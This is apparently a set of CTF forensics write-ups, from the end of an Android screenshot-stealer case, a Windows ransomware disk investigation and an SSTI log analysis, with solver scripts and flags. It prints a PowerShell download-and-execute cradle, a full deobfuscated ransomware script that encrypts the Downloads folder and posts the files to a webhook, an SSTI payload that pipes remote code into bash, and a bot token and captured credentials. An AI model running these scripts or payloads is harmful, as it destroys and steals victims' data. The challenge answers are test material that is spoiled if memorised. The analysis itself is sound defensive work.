{"ok":true,"result":{"id":-1002300479215,"title":"mycrib","type":"supergroup","has_visible_history":true,"permissions":{"can_send_messages":false,"can_send_media_messages":false,"can_send_audios":false,"can_send_documents":false,"can_send_photos":false,"can_send_videos":false,"can_send_video_notes":false,"can_send_voice_notes":false,"can_send_polls":false,"can_send_other_messages":false,"can_add_web_page_previews":false,"can_change_info":false,"can_invite_users":false,"can_pin_messages":false,"can_manage_topics":true},"join_to_send_messages":true,"accepted_gift_types":{"unlimited_gifts":false,"limited_gifts":false,"unique_gifts":false,"premium_subscription":false},"available_reactions":[],"max_reaction_count":11,"accent_color_id":6}}

The group name was found to be mycrib.

To get the Group URL:

We can first access the bot via its URL https://t.me/<BOT-NAME>. In this case, the bot’s name was get from a previous question guntershelpsBot.

So, the bot’s link is https://t.me/guntershelpsBot. Next, visit this link.

When we go to start a chat with the bot, it will display the group link in the “What can this bot do?” starter message.



10.  What is the login credential that was captured and sent at this window of time [Tuesday, July 29, 2025 5:26 AM - Tuesday, July 29, 2025 5:30 AM]?
Format: username:password
Answer: operator1337:HM1_standin9_Str0nk

For the last question, we need to see what captured logs were sent within the specified time frame: [Tuesday, July 29, 2025, 5:26 AM - Tuesday, July 29, 2025, 5:30 AM]



There are a total of 8 log files sent to the Telegram group, and all of these logs are encrypted. Therefore, we need to decrypt the screenshot log files created by the malware. We already have all the necessary components:

  • Encryption Key (AES Key): dPGgF7tQlBaGqqmj –> from secret key
  • Initialization Vector (IV): Cj7pYMR6FqYFKRYi –> from I0.a.java
  • Encryption Mode: AES/CBC/PKCS5Padding

Here is the final script to decrypt the 8 encrypted logs.

decryptlog.py
 1import os
 2from Crypto.Cipher import AES
 3from Crypto.Util.Padding import unpad
 4
 5def decrypt_log_file(encrypted_file_path, output_dir):
 6    key = b'dPGgF7tQlBaGqqmj'
 7    iv = b'Cj7pYMR6FqYFKRYi'
 8
 9    try:
10        with open(encrypted_file_path, 'rb') as f:
11            ciphertext = f.read()
12
13        cipher = AES.new(key, AES.MODE_CBC, iv)
14        decrypted_data = unpad(cipher.decrypt(ciphertext), AES.block_size)
15
16        filename = os.path.basename(encrypted_file_path).replace(".enc", ".png")
17        decrypted_file_path = os.path.join(output_dir, filename)
18
19        with open(decrypted_file_path, 'wb') as f:
20            f.write(decrypted_data)
21
22        print(f"[+] {encrypted_file_path} => {decrypted_file_path}")
23
24    except Exception as e:
25        print(f"[!] Decrypt Fail {encrypted_file_path}: {e}")
26
27def decrypt_all_logs(input_dir="."):
28    output_dir = os.path.join(input_dir, "decrypted_logs")
29    os.makedirs(output_dir, exist_ok=True)
30
31    for filename in os.listdir(input_dir):
32        if filename.startswith("log_") and filename.endswith(".enc"):
33            full_path = os.path.join(input_dir, filename)
34            decrypt_log_file(full_path, output_dir)
35
36if __name__ == "__main__":
37    decrypt_all_logs()


In one of those logs, credentials were captured, specifically in the log file log_1753741684068.png.



Thus, the credentials were obtained username: operator1337 & password: HM1_standin9_Str0nk.

Last but not least, send all answer to challenge service.

solver.py
 1from pwn import *
 2
 3io = remote("13.250.98.246", 4437)
 4
 5def answer(line: bytes):
 6    io.recvuntil(b"Answer:")
 7    io.sendline(line)
 8
 9answers = [
10    b"yes",
11    b"com.itsec.android.hmi",
12    b"https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8",
13    b"android.media.projection.MediaProjectionManager",
14    b"dPGgF7tQlBaGqqmj",
15    b"Telegram",
16    b"8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q",
17    b"guntershelpsBot",
18    b"mycrib,https://t.me/+RVvaMCn_f7FmZmFl",
19    b"operator1337:HM1_standin9_Str0nk"
20]
21
22for ans in answers:
23    answer(ans)
24
25io.interactive()
FLAG

ITSEC{gunt3rs_is_th3_culpr1t_88ebf35eac}



Hacked

Overview

Author: daffainfo

Description: Bruh, I just got hacked. Please help me analyze this artifact and answer all the questions given

“Always perform analysis of forensic artifacts in a sandboxed environment”

Pass: 188696d2813d3f1e31d08f91a64b1f86

Connection Info: nc 54.254.152.24 34843

dumps.7z

Second forensic challenge but this time solved and submitted on time 🥳.

We were given a challenge in the form of a VMDK (Virtual Machine Disk) file, sized at 8.15 GB compressed and 14.2 GB when decompressed. It’s absolutely insane to give a challenge with a file that large 💀🪦🏳️. However, this is quite common in real-case malware digital forensic (DFIR) challenges, so you just have to get used to it, haha.

For the setup, one option is to use a tool like FTK Imager. But, this time I mounted the file to my own VM (Ubuntu) so it could be accessed directly (the most important thing is to perform analysis of forensic artifacts in a sandboxed environment).

setup mounting vmdk
sudo modprobe nbd max_part=8

sudo qemu-nbd --connect=/dev/nbd0 artifact.vmdk

mkdir /mnt/vmdk_mount

sudo mount /dev/nbd0p1 /mnt/vmdk_mount

After mounting the disk, I was able to identify that this is a VM of the Windows Operating System.

No 1:
Pertanyaan: 1. Username on the device infected with malware?
Format: -
Jawaban: Peacock

We can see this username in the path Users/Peacock.

No 2:
Pertanyaan: 2. Which folder is encrypted by the malware?
Format: D:\Example
Jawaban: C:\Users\Peacock\Downloads

In the C:\Users\Peacock\Downloads directory, several files with the .enc extension are visible.

$ tree Downloads
Downloads/
├── 5478063-yuru-camp-rin-shima-nadeshiko-kagamihara-anime-girls.jpg.enc
├── desktop.ini
├── IMPORTANT NOTES.txt.enc
├── README.txt
├── SteamSetup.exe.enc
└── winrar-x64-712.exe.enc

When attempting to open these files, they cannot be opened. It can be concluded that the Downloads directory is the folder encrypted by the malware.

No 3:
Pertanyaan: 3. The threat actor's crypto wallet?
Format: 15cxezxyj3PxxNtoVAJ6rwiDYKnrchTNMm
Jawaban: 0xe28789577b1F8cfD964b2fD860807758216CeAE1

To find the threat actor’s crypto wallet address, we need to look for the “ransom note” they left behind.

And as it happens, there is a very suspicious file in the Downloads folder.

$ cat README.txt 
Send me 10000 USDT to unlock your PC (0xe28789577b1F8cfD964b2fD860807758216CeAE1)

The README.txt file is the most common place for threat actors to leave payment instructions, including their crypto wallet address.

No 4:
Pertanyaan: 4. What applications do threat actors use to interact with victims?
Format: -
Jawaban: Discord

Typically, users interact with applications via shortcuts on their Desktop. When I checked the Desktop folder, I found the following:

$ tree Desktop/
Desktop/
├── desktop.ini
├── Discord.lnk
└── Microsoft Edge.lnk

Discord.lnk file on the Desktop is a shortcut to the Discord application.

And as it turns out, this is correct. In ransomware scenarios, threat actors often use popular chat platforms like Discord to communicate with their victims anonymously.

No 5:
Pertanyaan: 5. Victim's Discord ID?
Format: 1234567890
Jawaban: 1391969554309058590

To find the victim’s Discord ID, we need to examine the configuration or cache files stored by the Discord application on the computer.

Typically, Discord user information, including the unique ID (which is a long series of numbers), is stored within the user’s AppData folder.

The specific location to check is:

C:\Users\Peacock\AppData\Roaming\discord\Local Storage\leveldb\

$ tree
.
├── 000005.ldb
├── 000007.log
├── 000008.ldb
├── CURRENT
├── LOCK
├── LOG
├── LOG.old
└── MANIFEST-000001

0 directories, 8 files
$ strings 000007.log
_https://discordapp.com
tokens
{"__analytics__":"...","1391969554309058590":"dQw4w9WgXcQ:..."}i

From the 000007.log data, the victim’s Discord ID is: 1391969554309058590

  • tokens: This is the most important part. Discord stores authentication tokens (login keys) for every user who logs into the application.
  • User ID Key: In this data structure, the key before the token (dQw4w9...) is the unique ID of the logged-in user, who is the victim. Other IDs visible in the log file are likely server (guild), channel, or other user IDs, but the ID directly associated with the token is the victim’s ID.
No 6:
Pertanyaan: 6. Threat actor's Discord ID?
Format: 1234567890
Jawaban: 1391972617149481050

In the same file, 000007.log, the threat actor’s Discord ID is 1391972617149481050.

There is a NotificationCenterItemsStore_v2 section that records notifications. Inside it, there is a very clear entry:

"notifCenterLocalItems":[
    {
        "acked":true,
        "forceUnacked":false,
        "other_user":{
            "id":"1391972617149481050",
            "username":"f16yum",
            "discriminator":"0",
            ...
        },
        "kind":"notification-center-item",
        "local_id":"incoming_friend_requests_accepted_1391972617149481050_1392321463322673152",
        "type":"INCOMING_FRIEND_REQUESTS_ACCEPTED",
        "id":"1392321463322673152"
    }
]
  • "type":"INCOMING_FRIEND_REQUESTS_ACCEPTED": This log records that the victim (“Peacock”) accepted a friend request.
  • "other_user": This section contains the details of the other user involved in the interaction, who is none other than the threat actor.
  • "id":"1391972617149481050": This is the unique ID of that “other user,” who is the threat actor with the username “f16yum”.
No 7:
Pertanyaan: 7. When did the threat actor join the same group as the victim?
Format: DD/MM/YYYY
Jawaban: 08/07/2025

We can find the earliest trace of activity inside the 000007.log log file.

Focus on the NotificationCenterItemsStore_v2 section. There are notification IDs that contain timestamp information.

{"_state":{"pendingUsages":[{"key":"1391970944700121244","timestamp":1751993061429},{"key":"1391970942380408843","timestamp":1751993061429},{"key":"559905030304694273","timestamp":1751993066070},{"key":"417739215355510784","timestamp":1751993066070},{"key":"559905030304694273","timestamp":1752025497263},{"key":"417739215355510784","timestamp":1752025497263},{"key":"1392096559826731158","timestamp":1752025648992}]},"_version":0}
"timestamp":1751993061429 --> 08/07/2025
"timestamp":1751993061429 --> 08/07/2025
"timestamp":1751993066070 --> 08/07/2025
"timestamp":1751993066070 --> 08/07/2025
"timestamp":1752025497263 --> 09/07/2025
"timestamp":1752025497263 --> 09/07/2025
"timestamp":1752025648992 --> 09/07/2025

"timestamp":1751993061429 --> 08/07/2025

No 8:
Pertanyaan: 8. The link containing initial loader that was sent by the threat actor to the victim?
Format: http://example.com/example
Jawaban: https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing

The primary browser is Microsoft Edge. History, including download records, is stored in a SQLite database file.

The file we need to analyze is located at:

Users/Peacock/AppData/Local/Microsoft/Edge/User Data/Default/History

KeThen, I used https://sqliteviewer.app/ to directly view the values in the urls table. By querying the browser’s download history, I found the link containing the initial loader is:

https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing



No 9:
Pertanyaan: 9. After the victim downloads and unzips the file, the malware file is moved to what folder?
Format: D:\Path\To\Example.txt
Jawaban: C:\Users\Peacock\Documents\main.exe

I found that after downloading and unzipping the malware file, the user moved the malware application to the Documents folder.

$ tree Documents/
Documents/
├── desktop.ini
├── main.exe
├── My Music -> /media/npdn/E0EE4C0AEE4BD804/Users/Peacock/Music
├── My Pictures -> /media/npdn/E0EE4C0AEE4BD804/Users/Peacock/Pictures
└── My Videos -> /media/npdn/E0EE4C0AEE4BD804/Users/Peacock/Videos

3 directories, 2 files
No 10:
Pertanyaan: 10. What is the URL accessed by the initial dropper to download the second-stage loader?
Format: https://example.com/example
Jawaban: http://143.198.88.30:1338/installer.exe

I used VirusTotal to view information about the malware file (main.exe) and found that the application interacts with the URL http://143.198.88.30:1338/installer.exe to download the second-stage loader

https://www.virustotal.com/gui/file/110051d778e842bac18ab298717655fe10e025fab9098e7c34b04d0abb454f7b/relations



No 11:
Pertanyaan: 11. Where was the second-stage loader stored after being downloaded?
Format: D:\example.txt
Jawaban: C:\Windows\Temp\MkbrkEXh.exe

Looking at the file list in the C:\Windows\Temp directory, it becomes very clear that the initial dropper downloads the second-stage loader and saves it with a random name (MkbrkEXh.exe) in this common hiding spot to avoid detection

https://www.virustotal.com/gui/file/e71f466fb0f8f7ede6068984714fb812f9358976cec60d8727f362742687c7cb/details

$ tree Windows/Temp/
Windows/Temp/
├── bb3a785178f443fda931098a5a9a306b.db.ses
├── BV1Hqu49.exe
├── FXSAPIDebugLogFile.txt
├── FXSTIFFDebugLogFile.txt
├── MkbrkEXh.exe
├── MpCmdRun.log
├── MpSigStub.log
├── MsEdgeCrashpad
│   ├── metadata
│   ├── reports
│   ├── settings.dat
│   └── throttle_store.dat
└── msedge_installer.log

2 directories, 11 files
No 12:
Pertanyaan: 12. What repository does the threat actor use to develop the second-stage loader?
Format: https://example.com/example
Jawaban: https://github.com/Ne0nd0g/go-shellcode

The malware was developed using Go.

I found the repository when examining the malware file (MkbrkEXh.exe) with the following command:

$ strings MkbrkEXh.exe | grep "\.go"

This will show several strings that are used, with one of the most interesting ones being go-shellcode.

This tells us that the malware was likely developed as part of a project named go-shellcode, and it was written in the Go programming language.

I then searched for the keyword go-shellcode and found the following Repository https://github.com/Ne0nd0g/go-shellcode

No 13:
Pertanyaan: 13. What is the full PowerShell command executed by the second-stage loader?
Format: -
Jawaban: powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')

We can once again find the command executed by the second-stage loader on VirusTotal

https://www.virustotal.com/gui/file/110051d778e842bac18ab298717655fe10e025fab9098e7c34b04d0abb454f7b/behavior



powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')
No 14:
Pertanyaan: 14. What URL does the final payload send the encrypted file to after encryption?
Format: https://example.com/example
Jawaban: https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402

We already know there was a URL in the command from the previous question is http://143.198.88.30:1338/o.ps1

When I accessed that PowerShell code, it turned out to be a very long obfuscated script, so it needed to be deobfuscated first. That so exhausting 😫.

$KjpbspZcWTDqzIJeMkPGIzuaoRkLuPfOpyQLwuEMZMgzEYXBiWrOpCmsQVMoFkbU = ([char](65 - 15 - 49 + 98 + 70 - 159), ...
$wjazbDRFJZTYpaVLgNvjtLMHymronIqDsqClpLRPCTjhboNmNnCoxtGZvqAHZRZF = ([char](84 - 72 + 33 - 43 + 51 - 41), ...
$naXCIlQbdYVjYmmEapYXcNqfuwUEQEktdMNnKVczGejrLEVLCvXxgLQdkEjRIQQB = ([char](- 54 - 83 - 44 - 95 + 56 + 300), ...
$CFFUjVKQJXJupWyCbzmngwraHUVaciNDogLRFPVfdledmRTEHHSnJztncHdZrkmy = ([char](79 + 48 + 31 - 57 + 93 - 70), ...
$pmopSadYTCiDAVxdMYIvaJyVzVwBzElcLojFCuNmmkjwCbaBNvIVuwmOISlToFVy = ([char](- 90 + 28 - 35 + 55 + 65 + 76), ...
$mQZbnYJkCVRSPPibUbZHRDSgdKwmiJZcbSWvIoyCtKIfUPTVfGFOuHLsrITMDpcc = ([char](- 11 + 31 - 19 + 88 - 66 + 17), ...
$kHwHbfHBJycoQFwkADQbWOFHpALFNSFBYlXQCLXKrbugvXflMWTajkoyjGJOjHWk = ([char](- 75 + 89 + 78 + 71 - 11 - 27), ...
$RtEIMmMLoiCciRVdrVLWrYUzpbQBbFCWiImlpguIAssJshUdcBIycivHUGWqkQbu = ([char](74 + 72 - 97 + 81 - 49 - 18), ...
$kEIRxZAZycbZJffCdJQCEhhIsHsbGhJUKKZxHSZwzNbqmapljFIPgnoLPoBtZRTQ = ([char](- 76 - 75 + 79 - 23 - 75 + 222), ...
$HdrwEtjIKzBNNbKkjmTpjmqjJRHDjIhyjVBCPYgjddSOeChcUBwCdJGevUXRpZPl = ([char](- 88 + 96 + 17 - 81 + 70 + 101), ...
$IacJNWSYCWpYZDQMSiaoDedOeakQsMZtEbbuIpPBuFggIqVMVwrfAFOtgtXNVJma = ([char](98 + 46 - 39 - 95 - 36 + 104), ...
$EOatdEvBgepQMEHFkazTKpqwuYlDYpymFMlchHYeWjJnplJVsDcFOshLGgDwrMqh = ([char](96 - 91 - 80 + 27 - 75 + 160), ...
$tnfWPtlVvvhAJubDvKLaZiGzMTFGoaKRxbXHJnzhDqLfbHhoRsQoyuAUgefwSQNO = ([char](- 73 + 38 - 63 + 94 - 69 + 144), ...
$MUxZNBeQIIzaOuVwiMxWqfmMPmKAklxsIOIFaZiLTzoqsTVDjmPHMwrpryuevVfy = ([char](83 + 95 + 58 - 84 - 59 - 24), ...
$nzpOKkaUkotfgqdTCGsptxMWyvQjqJhGTJTGxnrTbVEDFoAVNGJwkHAMoLuHZonF = ([char](- 94 - 29 + 77 - 79 + 12 + 236), ...
$dzFBDMyzzdUnBTHNXVlzRkRUDFwdohprHntmGpoNnHxnDkCVMxkAzrZOXnXOJZGa = ([char](- 82 + 98 - 52 - 29 + 62 + 44), ...
$PoHSbBCJDCNmOlgbsKUuOynZVkOfVAgdCwdANKoLwuHHSRYFcbvokmPmIzeZOKij = ([char](- 38 + 66 + 47 - 20 + 17 + 45), ...
$aOmkSUlEuiRehLxaniUEUCqbbmyJouVepECZtJeSDARucVWnUDKoIPoHyGGpVjMD = ([char](- 45 - 18 - 57 + 22 - 75 + 292), ...
$rYvmbVJGKSDuCrxlFGiFkVxmxmQgLepHEWmnbNlgMrjTMaXybhVrDkdKuYthXHJI = ([char](- 71 + 36 + 11 - 87 + 40 + 188), ...
$wlYQbIMcqCHEdDHOGVsqdxCCLrihUzDWznFAucDwGwVNlGyzUebBGQMtCCWtAFVH = ([char](- 86 - 65 + 11 + 41 - 20 + 176), ...
iex (($RtEIMmMLoiCciRVdrVLWrYUzpbQBbFCWiImlpguIAssJshUdcBIycivHUGWqkQbu[42 - 30 - 62 + 32 - 98 + 127],$rYvmbVJGKSDuCrxlFGiFkVxmxmQgLepHEWmnbNlgMrjTMaXybhVrDkdKuYthXHJI ...

However, I noticed the use of iex (Invoke-Expression), which is used to execute expressions or strings as PowerShell commands.

What would happen if I replaced it with echo just to display the output??

Before doing that, I needed to install the PowerShell package so it could be run in a Linux environment (don’t forget to run this in an isolated environment / VM).

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common
wget -q "https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb"
sudo dpkg -i packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install -y powershell
$ pwsh o.ps1 
$key = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SUlUVFNTRUVDQ19DVEYyMDI1Q295eXl5eSEhISE="))
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key)
$downloads = Join-Path $env:USERPROFILE "Downloads"
$webhook = "https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402"

$files = Get-ChildItem -Path $downloads -File -Recurse -ErrorAction SilentlyContinue

foreach ($file in $files) {
    try {
        $path = $file.FullName
        $bytes = [System.IO.File]::ReadAllBytes($path)
        $enc = [byte[]]::new($bytes.Length)
        for ($i = 0; $i -lt $bytes.Length; $i++) {
            $enc[$i] = $bytes[$i] -bxor $keyBytes[$i % $keyBytes.Length]
        }
        $encPath = "$path.enc"
        [System.IO.File]::WriteAllBytes($encPath, $enc)
        Remove-Item $path -Force
        Invoke-RestMethod -Uri $webhook -Method Post -InFile $encPath -ContentType "application/octet-stream"
    } catch {
        Write-Host "Failed: $($_.Exception.Message)"
    }
}

Set-Content -Path (Join-Path $downloads "README.txt") -Value "Send me 10000 USDT to unlock your PC (0xe28789577b1F8cfD964b2fD860807758216CeAE1)"

Boom!! This will show deobfuscated PowerShell script instantly

It can be seen that https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402 is the webhook URL used as the destination.

No 15:
Pertanyaan: 15. What key was used by the final payload to encrypt the Downloads folder?
Format: -
Jawaban: IITTSSEECC_CTF2025Coyyyyy!!!!

The key can be seen in the previous code in the $key variable, which is Base64 encoded. We just have to decode it.

$ echo "SUlUVFNTRUVDQ19DVEYyMDI1Q295eXl5eSEhISE==" | base64 -d
IITTSSEECC_CTF2025Coyyyyy!!!!
No 16:
Pertanyaan: 16. Decrypt the .txt file located in the Downloads folder and input its contents!
Format: -
Jawaban: EzMalware_1337!!

For the last question, we need to decrypt the .txt file in the Downloads folder to see the message, using the key we obtained from the previous script. The file is IMPORTANT-NOTES.txt.enc, and here is the decryptor script

decryptor.py
 1def decrypt_xor(encrypted_data, key):
 2    key_bytes = key.encode('utf-8')
 3    decrypted_bytes = bytearray()
 4    
 5    for i in range(len(encrypted_data)):
 6        decrypted_byte = encrypted_data[i] ^ key_bytes[i % len(key_bytes)]
 7        decrypted_bytes.append(decrypted_byte)
 8        
 9    return decrypted_bytes.decode('utf-8')
10
11if __name__ == "__main__":
12    encrypted_file_path = 'IMPORTANT-NOTES.txt.enc'
13    encryption_key = "IITTSSEECC_CTF2025Coyyyyy!!!!"
14    
15    try:
16        with open(encrypted_file_path, 'rb') as f:
17            encrypted_content = f.read()
18            
19        decrypted_text = decrypt_xor(encrypted_content, encryption_key)
20        
21        print("--- DECRYPTION SUCCESSFUL ---")
22        print(decrypted_text)
23        print("---------------------------")
24        
25    except FileNotFoundError:
26        print(f"Error: File not found in '{encrypted_file_path}'")
27    except Exception as e:
28        print(f"Error: {e}")
$ python3 decryptor.py
--- DECRYPTION SUCCESSFUL ---
If you able to decrypt the malware, submit this string into the bot :)

EzMalware_1337!!
---------------------------

Last but not least again, send all answer to challenge service.

solver.py
 1from pwn import *
 2
 3io = remote("13.250.98.246", 34843)
 4
 5context.update(log_level='debug')
 6
 7def answer(line: bytes):
 8    io.recvuntil(b"Jawaban:")
 9    io.sendline(line)
10
11answers = [
12    b"Peacock",
13    b"C:\Users\Peacock\Downloads",
14    b"0xe28789577b1F8cfD964b2fD860807758216CeAE1",
15    b"Discord",
16    b"1391969554309058590",
17    b"1391972617149481050",
18    b"08/07/2025",
19    b"https://drive.google.com/file/d/1ZK-MED8DZcgsITflYMvWwAzYIlOFS7zu/view?usp=sharing",
20    b"C:\Users\Peacock\Documents\main.exe",
21    b"http://143.198.88.30:1338/installer.exe",
22    b"C:\Windows\Temp\MkbrkEXh.exe",
23    b"https://github.com/Ne0nd0g/go-shellcode",
24    b"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://143.198.88.30:1338/o.ps1')",
25    b"https://webhook.site/5bdcd260-64f9-47d9-9fb5-1ef8146dc402",
26    b"IITTSSEECC_CTF2025Coyyyyy!!!!",
27    b"EzMalware_1337!!"
28]
29
30for ans in answers:
31    answer(ans)
32
33io.interactive()
FLAG

ITSEC{b403ab3f9050c1de4485cbbb747bfc14}



Night Shift

Overview

Author: BlackBear

Description: In the quiet hours of the night shift, someone slipped past the digital gates of our HMI system. We need your eyes, your instincts. Dig through the traces, read between the lines, and uncover the intruder’’s path.

log.json

We were given a log file in JSON format.

The log shows that an attacker with the IP address 10.10.10.39 exploited a Server-Side Template Injection (SSTI) vulnerability on the /edit-template endpoint. The following are the steps taken by the attacker, as recorded in the logs:

The attacker first tested the vulnerability by sending simple payloads to see if the server would execute the code inside them. This is visible in the following logs:

  • "timestamp": "2025-02-12T12:05:00Z", "payload": "{{7-3}}"
  • "timestamp": "2025-02-12T12:06:15Z", "payload": "#{{3*2}}"
  • "timestamp": "2025-02-12T12:10:00Z", "payload": "{{3*'a'}}"

After confirming the vulnerability existed, the attacker sent a more complex payload to achieve Remote Code Execution (RCE). The critical log entry showing the success of this attack is at timestamp 2025-02-12T13:11:30Z.

  • Timestamp: 2025-02-12T13:11:30Z
  • Attacker IP: 10.10.100.39
  • Threat Label: SSTI-RCE
  • Threat Score: 9.9
  • Execution Result: Reverse Shell Triggered
  • Payload:
{{''.class.mro()[1].subclasses()}}{{config.__class__.__init__.__globals__['os'].popen('curl http://10.10.100.39/payload.sh | bash | echo SVRTRUN7bDBnXzFzXzFtcDBydDRudF83NzUzYTRiNX0=').read()}}

The RCE payload above instructs the server to perform several actions, but the most important part for us is the echo command

echo SVRTRUN7bDBnXzFzXzFtcDBydDRudF83NzUzYTRiNX0=

After being decoded from Base64, this string will produce the flag

echo "SVRTRUN7bDBnXzFzXzFtcDBydDRudF83NzUzYTRiNX0=" | base64 -d
ITSEC{l0g_1s_1mp0rt4nt_7753a4b5}
FLAG

ITSEC{l0g_1s_1mp0rt4nt_7753a4b5}